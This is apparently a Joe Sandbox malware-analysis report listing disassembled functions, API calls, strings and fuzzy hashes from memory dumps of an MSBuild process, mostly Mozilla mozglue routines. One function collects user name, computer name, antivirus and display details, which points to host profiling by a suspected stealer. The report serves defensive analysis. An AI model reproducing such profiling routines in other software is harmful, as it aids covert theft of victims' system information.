Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: cddde6d7fc7edd6397c6356cebc082ecb965cdc6fcaac659074a2c34e71b7449
Instruction ID: 0f1919010d72ee17ef9e5e9c7244b67665a9d120496549acc4791669633869a6
Opcode Fuzzy Hash: cddde6d7fc7edd6397c6356cebc082ecb965cdc6fcaac659074a2c34e71b7449
Instruction Fuzzy Hash: DD41D371A103599FDF00CFA9D884A9B7BB4FB5AB15F014128ED45A7740EB38E805CFA2

Function 6CBA1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC2E784), ref: 6CBA1EC1
LeaveCriticalSection.KERNEL32(6CC2E784), ref: 6CBA1EE1
EnterCriticalSection.KERNEL32(6CC2E744), ref: 6CBA1F38
LeaveCriticalSection.KERNEL32(6CC2E744), ref: 6CBA1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CBA1F83
LeaveCriticalSection.KERNEL32(6CC2E784), ref: 6CBA1FC0
EnterCriticalSection.KERNEL32(6CC2E784), ref: 6CBA1FE2
LeaveCriticalSection.KERNEL32(6CC2E784), ref: 6CBA1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBA2019

Strings

MOZ_CRASH(), xrefs: 6CBA2000

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 862cb0234b2d0da2644d66f88e85175c376270e4fb9c0e732200da07d8c52c94
Instruction ID: 894bba93d438696d6afe858892de0780d6dc407b111328c7406ce8d66b4cf1e1
Opcode Fuzzy Hash: 862cb0234b2d0da2644d66f88e85175c376270e4fb9c0e732200da07d8c52c94
Instruction Fuzzy Hash: D741D371B143958BDF008FB8C884BAA77B5FF49749F050039E985A7741EB7998058BD2

Function 6CBB7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBB7EA7
malloc.MOZGLUE(00000001), ref: 6CBB7EB3

Part of subcall function 6CBBCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CBBCB49
Part of subcall function 6CBBCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CBBCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CBB7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CBB7F19
malloc.MOZGLUE(?), ref: 6CBB7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBB7F4D

Strings

d, xrefs: 6CBB7F89

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 50f7eaafbb0f373837cb0435411fc094857fbf20fba667340520c690bf12a2c2
Instruction ID: 18bbd33a987a218c1ded2023b077797f0303e6dac7b265782d4b04f98b7fe4c4
Opcode Fuzzy Hash: 50f7eaafbb0f373837cb0435411fc094857fbf20fba667340520c690bf12a2c2
Instruction Fuzzy Hash: 2B310561E002C897DB019B39CC459FEB778EF96208F059228EC4967612FB74E9C8C391

Function 0040DB7F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0040DBBB
strchr.MSVCRT ref: 0040DBCD
strchr.MSVCRT ref: 0040DBF2
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
strcpy_s.MSVCRT ref: 0040DC6F

Strings

0123456789ABCDEF, xrefs: 0040DB99

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 453150750-2554083253
Opcode ID: d7f8adf961633c923ded35c4b7c571d3f1c689bf508e1cbb2af2f09870105798
Instruction ID: 06d15f49a8eb9cf9066e179aa7ea4312028ee3a66f1e5adc80d081fb3659f8e0
Opcode Fuzzy Hash: d7f8adf961633c923ded35c4b7c571d3f1c689bf508e1cbb2af2f09870105798
Instruction Fuzzy Hash: 4A315D72D002199FDB00DFE8DC49ADEBBB9AF09355F100179E901FB281DB79A909CB94

Function 0041FA62 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0041FA87

Part of subcall function 0041F622: Replicator::operator[].LIBCMT ref: 0041F6A5
Part of subcall function 0041F622: DName::operator+=.LIBCMT ref: 0041F6AD

DName::operator+.LIBCMT ref: 0041FAE0
DName::DName.LIBCMT ref: 0041FB38

Strings

,..., xrefs: 0041FACC, 0041FAD8
..., xrefs: 0041FB1B, 0041FB27
<ellipsis>, xrefs: 0041FB22
void, xrefs: 0041FB30
,<ellipsis>, xrefs: 0041FAD3

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction ID: 6b38829ecadea6215c8f6510e569e1b7c44c0c93244dcadd2c287e51603536b5
Opcode Fuzzy Hash: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction Fuzzy Hash: 72217130601208AFCB11DF5CD4549AA7BB4EF4538AB54806AE845CB362E738E987CB4C

Function 004213FB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 00421405
DName::DName.LIBCMT ref: 00421411

Part of subcall function 0041F0DC: DName::doPchar.LIBCMT ref: 0041F10D

UnDecorator::getScopedName.LIBCMT ref: 00421450
DName::operator+=.LIBCMT ref: 0042145A
DName::operator+=.LIBCMT ref: 00421469
DName::operator+=.LIBCMT ref: 00421475
DName::operator+=.LIBCMT ref: 00421482

Strings

void, xrefs: 00421461

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction ID: 57a596a2ca760a273274528444675b4bf9d61aebdbb2dca40c7be891dda90938
Opcode Fuzzy Hash: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction Fuzzy Hash: B811C671A00218AFD714FF68D856BE97B60AF20305F44409BE4069B2F2DB78DA86CB49

Function 00411563 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
ReleaseDC.USER32(00000000,00000000), ref: 00411596
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
wsprintfA.USER32 ref: 004115BB

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

%dx%d, xrefs: 004115B5

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 1ef750c3da8bd554249af2be4682fe28a7214a9fda5cb540f0f0499ac01dcc60
Instruction ID: 170008d2b248a6dac6df5cacbd3238be6a4bc1abd9d224a85ffebcf6f0d8f3fd
Opcode Fuzzy Hash: 1ef750c3da8bd554249af2be4682fe28a7214a9fda5cb540f0f0499ac01dcc60
Instruction Fuzzy Hash: 59F0C832601320BBEB249BA59C0DD9B7EAEEF467A7F005451F605D2160E6B75E4087A0

Function 6CBB3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CBB3EEE
RtlFreeHeap.NTDLL ref: 6CBB3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CBB4006
RtlFreeHeap.NTDLL ref: 6CBB40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CBB3CCC), ref: 6CBB40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CBB3CCC), ref: 6CBB40C2
RtlFreeHeap.NTDLL ref: 6CBB4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CBB3CCC), ref: 6CBB4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CBB3CCC), ref: 6CBB4157

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 8932c0217f01fcc44bd1bd97e6561edd0a62f470e73bdb8c64b3f503cccd8981
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19EB1A40255CFDB40CF29C88066AB7B5FF48318F6545A9D909AF742DB71E886CFA0

Function 6CBF9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF8273), ref: 6CBF9D65
free.MOZGLUE(6CBF8273,?), ref: 6CBF9D7C
free.MOZGLUE(?,?), ref: 6CBF9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CBF9E0F
free.MOZGLUE(6CBF946B,?,?), ref: 6CBF9E24
free.MOZGLUE(?,?,?), ref: 6CBF9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CBF9EC8
free.MOZGLUE(6CBF946B,?,?,?), ref: 6CBF9EDF
free.MOZGLUE(?,?,?,?), ref: 6CBF9EF5

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: f7e58f70f581ea3f9a82eac8e9da5206ecad5b7fe1dc4bb24f4b89a6760b7693
Instruction ID: db5fd6a51f3ecad3db0742be029ebe7780a29a637772cfbf153af7971d8ae2a5
Opcode Fuzzy Hash: f7e58f70f581ea3f9a82eac8e9da5206ecad5b7fe1dc4bb24f4b89a6760b7693
Instruction Fuzzy Hash: A871A274A09B818BD712CF18C44059BF3F4FF99315B54961DE86A5BB01EB31E88ACBD2

Function 6CBFDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CBFDDCF

Part of subcall function 6CBDFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBDFA4B

Part of subcall function 6CBF90E0: free.MOZGLUE(?,00000000,?,?,6CBFDEDB), ref: 6CBF90FF
Part of subcall function 6CBF90E0: free.MOZGLUE(?,00000000,?,?,6CBFDEDB), ref: 6CBF9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBFDE0D
free.MOZGLUE(00000000), ref: 6CBFDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBFDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBFDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBFDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CBEDEFD,?,6CBB4A68), ref: 6CBFDF32

Part of subcall function 6CBFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CBFDB86
Part of subcall function 6CBFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CBFDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CBEDEFD,?,6CBB4A68), ref: 6CBFDF65
free.MOZGLUE(?), ref: 6CBFDF80

Part of subcall function 6CBC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBC5EDB
Part of subcall function 6CBC5E90: memset.VCRUNTIME140(6CC07765,000000E5,55CCCCCC), ref: 6CBC5F27
Part of subcall function 6CBC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBC5FB2

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f107a918021b39532867fcfcdd3393786b480b6686e03da2afc4588f8d697416
Instruction ID: fce1716e4050ea2873a23da34055e54b610f93ec87393f5cdcf399421271b2c3
Opcode Fuzzy Hash: f107a918021b39532867fcfcdd3393786b480b6686e03da2afc4588f8d697416
Instruction Fuzzy Hash: 9251B3766016919BEB109F38E8806AEB372AF91308F95051DD92A53B00D731F81FCB97

Function 6CC05D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CC05C8C,?,6CBDE829), ref: 6CC05D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CC05C8C,?,6CBDE829), ref: 6CC05D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CC05C8C,?,6CBDE829), ref: 6CC05D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CC05C8C,?,6CBDE829), ref: 6CC05D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CC05C8C,?,6CBDE829), ref: 6CC05DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CC05C8C,?,6CBDE829), ref: 6CC05DC9
std::_Facet_Register.LIBCPMT ref: 6CC05DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CC05C8C,?,6CBDE829), ref: 6CC05E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CC05C8C,?,6CBDE829), ref: 6CC05E45

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 2fbd39aa4c71c9396be28d616472a69d4fc04495c46dde7536246e8f24efcda5
Instruction ID: a88e23e4764087a2ab59d9f7b443d6bb8ccb1dd5a4aa26e681c49ae66ffe838b
Opcode Fuzzy Hash: 2fbd39aa4c71c9396be28d616472a69d4fc04495c46dde7536246e8f24efcda5
Instruction Fuzzy Hash: 864191357003058FCB10DF65C998AAE77B9EF89314F1440A9E50A97781EB39E805CF65

Function 6CBDCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CBA31A7), ref: 6CBDCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CBDCFA4, 6CBDCFB8
<jemalloc>, xrefs: 6CBDCF9F, 6CBDCFB3

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: ffc66fe7ea3f6985b0e6d0b8ebd062eb1727898f4b553218b50287d8b09864d7
Instruction ID: 22daa653cba8056f22b7841a00025600e34b57d8e6e6f09aa45746ba4a2838a3
Opcode Fuzzy Hash: ffc66fe7ea3f6985b0e6d0b8ebd062eb1727898f4b553218b50287d8b09864d7
Instruction Fuzzy Hash: 8231D670B502465BEF10AFA9CC55BAE7B75FF41B54F214018F611EBA80EB74F8048B92

Function 6CBAECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBAF100: LoadLibraryW.KERNEL32(shell32,?,6CC1D020), ref: 6CBAF122
Part of subcall function 6CBAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBAF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CBAED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CBAEDCC
CreateFileW.KERNEL32 ref: 6CBAEE08
free.MOZGLUE(00000000), ref: 6CBAEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CBAEE32

Part of subcall function 6CBAEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CBAEBB5
Part of subcall function 6CBAEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CBDD7F3), ref: 6CBAEBC3
Part of subcall function 6CBAEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CBDD7F3), ref: 6CBAEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CBAEDC1

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: db3eb5d20eebbf96ad8c870527be039fc30fc19331d14f3c0db8fcfc2c275cfe
Instruction ID: fc6f7f2e6c184739b6134e0e089b03f2537b428c88e568aa548ea5d6cc3cd653
Opcode Fuzzy Hash: db3eb5d20eebbf96ad8c870527be039fc30fc19331d14f3c0db8fcfc2c275cfe
